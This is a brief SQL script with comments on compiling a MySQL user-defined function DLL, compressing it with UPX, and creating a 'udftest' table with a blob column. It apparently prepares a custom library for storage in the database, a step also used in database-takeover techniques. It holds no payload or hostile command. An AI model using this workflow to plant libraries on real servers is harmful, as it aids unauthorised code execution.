-- Little hack to compress the dynamic-linked library:
-- * Read instructions on http://rpbouman.blogspot.com/2007/09/creating-mysql-udfs-with-microsoft.html
--   * Remember to compile it under Visual C++ 2008 with the
--     'Configuration' set as 'Release'
-- * Use upx (http://upx.sourceforge.net) over the DLL:
--   * upx -9 library.dll -o library_upx.dll


-- Create a table with one field data-type text
DROP TABLE IF EXISTS udftest;
CREATE TABLE udftest(data blob);
